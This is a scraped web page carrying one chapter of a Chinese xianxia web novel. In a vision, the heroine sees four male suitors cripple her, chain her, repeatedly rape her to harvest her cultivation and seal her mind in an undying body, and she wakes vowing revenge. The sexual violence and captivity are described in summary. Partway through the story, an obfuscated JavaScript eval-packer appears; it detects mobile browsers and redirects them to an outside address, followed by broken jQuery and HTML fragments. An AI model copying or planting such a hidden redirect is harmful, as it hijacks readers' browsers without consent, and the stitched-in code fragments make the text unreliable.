默认冷灰
24号文字
方正启体

14. 记忆觉醒

作者:芙芙子本书字数:K更新时间:
    意识坠入深渊的那一刻,苏无漪以为自己会死。


    不是死在魔尊的刀下,而是死在自己体内翻涌的寒毒之中。


    孙老头说过,她若再强行催动极寒剑意,经脉便会像被冻裂的冰块一样寸寸破碎。


    苏无漪不甘心,她还没有成为天下第一,没有飞升成仙。


    她听见自己的心跳在耳膜中缓慢地、一下一下地减弱。


    然后,一切都安静了。


    没有风声,没有血液在血管里奔流的轰鸣。


    只有一片死寂。


    苏无漪不知道自己在哪里。她感觉不到自己的身体,感觉不到疼痛。


    她像是一缕被抽离出来的意识,悬浮在无尽的虚空中,没有方向,没有重量,没有归宿。


    然后,她看见了。


    她看见一个和她长得一模一样的女人。


    那张脸,是她。


    那个人,是她。又不是她。


    那个女人也是苏无漪。


    是另一个苏无漪。


    她看见师尊凌玄舟站在主殿窗前,负手而立,目光投向远方。


    那个苏无漪站在殿外,恭恭敬敬地行礼,唤一声“师尊”。


    凌玄舟转过身来。


    那张永远是淡漠疏离的脸上,浮现出一种苏无漪从未见过的神情。


    不是师父看弟子的慈爱,而是一种被刻意压抑了太久、终于在无人处泄露出的炽烈到近乎扭曲的欲望。


    他的目光黏在她身上,从她的眉眼滑到她的唇,从她的唇滑到她的脖颈,从她的脖颈滑到她藏在衣领下的锁骨。


    然后,他闭上眼睛,手指在袖中攥紧,指节泛白。


    他在忍。


    他在压抑。


    他在用最后一丝理智维持着“师尊”这个身份的体面。


    苏无漪看见这一幕时,心脏猛地抽搐了一下。


    她忽然想起了一件事在主殿里,当她拿出无情水要证明自己无情时,师尊的手为什么伸得那么快?他的声音为什么陡然冷了下来?


    他不是担心她出事。


    他是怕自己暴露。


    恶心,翻江倒海的恶心,她尊敬如父亲般对待的师尊竟然对她抱着如此有违天道的想法。


    还没来得及看后面的内容,画面就陡然跳转到沈玉狸。


    他贯会用那副风流多情的外表做掩护,用那双狐狸眼里恰到好处的仰慕和崇拜织成一张密不透风的网。


    他在她闭关时守在门外一坐就是七天七夜,在她受伤时红着眼眶说“姐姐你不要再受伤了,玉狸会心疼”。


    他不像云枕川那样直白地争抢,他用的是更高级的手段。


    以退为进,以柔克刚。


    让苏无漪在不知不觉中习惯了他的存在,习惯了他的好,习惯了他在身边。


    然后,在某一天夜里,他趁她调息时,偷偷将情蛊下在了她的茶水里。


    苏无漪看见那个苏无漪喝下那杯茶时,沈玉狸嘴角的弧度。


    那不是爱,那是占有。


    是一种“既然你不动心,那我就帮你动心”的偏执。


    画面再转。


    她看见小金——不,准确来说是大楚太子萧天衍。


    他恢复了记忆,知道了自己的身份,却没有离开玉虚宗。


    他说他哪里都不想去,只想留在她身边。


    苏无漪拒绝了他,说他是太子,有江山社稷要担,不该把时间浪费在儿女情长上。


    他没有反驳,只是安静地退回到偏殿客房,像以前一样用那双眼睛追随她。


    但那目光变了。


    以前是仰慕,是憧憬,是少年人纯粹的心动。后来变成了克制,变成了一种“我知道你不属于我但我还是放不下”的痛苦。


    他越是隐忍,就越是痛苦。越是痛苦,就越是放不下。越是放不下,就越是想要。


    想要到哪怕把她锁起来,哪怕她恨他一辈子,也比看着她永远不属于任何人要好。


    最后是夜烬离。


    魔尊。


    那个在苏无漪昏迷前将她揽入怀中的男人。


    夜烬离从第一眼看见她持剑而立的那一刻起,他就发誓要得到她。


    不是追求,不是讨好,是掠夺。


    他用魔域的手段,用尽一切光明正大和阴险卑鄙的方式,试图让她屈服。


    他在她必经之路上设下陷阱,在她修炼时强行闯入她的识海,在她与强敌交战时突然出现搅局。


    ——当然不是为了救她,而是为了让她欠他人情。


    他说:“本尊看上的人,从来没有得不到的。”


    他说:“苏无漪,你逃不掉的。”


    他说:“总有一天,你会心甘情愿地来到本尊身边。”


    四个男人。四种不同的痴狂。


    但有个共同的得到她的目标。


    苏无漪看着这些画面,看着自己一步一步地走向深渊。


    一开始,她并不知道这些人的心思。


    她以为师尊是真的清心寡欲,以为沈玉狸是真的乖巧懂事,以为萧天衍真的放下了,以为夜烬离只是一时兴起。


    她太强了。


    强到所有人都不敢轻举妄动。


    她是修真界千年不遇的绝世天骄,是玉虚宗的首席大弟子,是让魔尊都忌惮三分的“寒霜剑仙”。


    他们每一个人单独对上她,都没有必胜的把握。


    所以他们在等。


    等一个机会,等她露出破绽,等她变得不再那么不可战胜。


    而机会,终于来了。


    在她突破无情道最高境界的前夜,寒毒全面爆发。


    他们就是在那一刻动手的。


    不是一个人,是四个人。


    他们联手了。


    平日里互相看不顺眼、恨不得将对方碎尸万段的四个男人,在她最虚弱的那一刻,前所未有地默契。


    师尊布下困阵,封锁了她所有的退路。沈玉狸用狐族的秘术扰乱她的心神,让她无法集中灵力。萧天衍以皇室气运为引,强行压制她体内的修为。夜烬离则正面出手,用魔焰焚烧她最后的防御。


    她反抗了。


    她拼命地反抗了。


    她的剑断了,她就用手。她的手断了,她用意念。她的意念被镇压了,她用牙齿咬。


    她咬破了夜烬离的手腕,咬碎了沈玉狸的肩骨,咬得满口是血。


    但她还是输了。


    四对一。


    她本就寒毒发作,实力大打折扣。而他们四个人,每一个都是当世顶尖的强者。


    他们废了她的修为。


    一寸一寸地、一条经脉一条经脉地、一个穴位一个穴位地废掉的。


    那种痛,苏无漪光是看着就觉得骨髓都在颤抖。


    而那个苏无漪,从头到尾,没有发出一声惨叫。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468932|201371||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    她只是咬着牙,瞪着他们,用那双已经没有焦距的眼睛,死死地盯着每一个人的脸。


    她说:“我会杀了你们。”


    她的声音很轻,但那语气里的杀意,让四个已经得手的男人同时感到一股寒意从脚底窜上天灵盖。


    他们知道,她说的是真的。


    就算修为被废,可她一旦找到机会就会真的杀了他们。


    毫不犹豫,绝不手软。


    所以他们做了一个决定,不给她留任何反抗的可能。


    他们用万年寒铁铸成锁链,穿过她的琵琶骨,将她锁在了一张用龙骨打造的大床上。


    然后,他们开始做一件事。


    双修。


    用她的身体。


    因为她的体质特殊。天生阴体,万中无一。与她双修,修为会以不可思议的速度增长。


    她反抗不了。


    她的修为被废了,她的手脚被锁住了,她的灵力被封死了。她唯一能做的,就是闭上眼睛,不去看那些在她身上起伏的面孔。


    但闭上眼睛也没用。


    她还能听见。


    听见那些恶心的剖白,每一句都在诉说着他们的爱意,但苏无漪感受不到一点真心。


    她听着这些声音,从愤怒到麻木,从麻木到空洞。


    修为在增长。不是她的修为,是他们的。


    他们用她的身体当炉鼎,日复一日地采补,修为突飞猛进。


    他们飞升的那一天,天道降下祥瑞,万界同庆。


    所有人都说这是修真界的盛事,是万年难遇的奇观。


    没有人知道,这四个飞升成仙的人,脚下踩着的是一个女人的尸骨。


    不,不是尸骨。


    她还活着。


    他们不让她死。


    她太有用了,她的体质太珍贵了,他们舍不得让她死。


    他们把她做成了活人偶。


    不是比喻,是字面意义上的。


    他们用禁术将她的意识封存在一具永远不会腐朽、永远不会受伤、也永远不会反抗的身体里。


    她不能说,不能动,不能哭,不能笑,不能点头,不能摇头,甚至连眨眼的频率都不由自己控制。


    她像一件精美的瓷器,被摆放在他们四人共同建造的宫殿里。


    凌玄舟会坐在她身边,握着她的手,说一些“无漪,你今天气色不错”之类的话。


    沈玉狸会给她梳头,然后把自己的脸贴在她的头发上,闭上眼,拥抱他。


    萧天衍什么都不说,只是站在远处,远远地看着她。一站就是一整天。


    夜烬离最坦然。


    他会直接坐在她对面,翘着腿,笑着说:“苏无漪,你乖一点多好。你要是早点听话,我们也不至于把你弄成这样。”


    他顿了顿,笑容变得有些落寞:“不过这样也好。你终究不属于任何人了。”


    不属于任何人。


    苏无漪听到这句话时,忽然想笑。


    她本来就不属于任何人。


    她从来就不属于任何人。


    她是苏无漪,她只属于她自己。


    画面在这一刻戛然而止。


    苏无漪的意识从那片记忆的洪流中猛地挣脱出来,像是溺水的人终于浮出水面。


    她大口大口地喘着气,她睁开眼,眼底一片血丝。


    我会杀了你们。


    所有人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)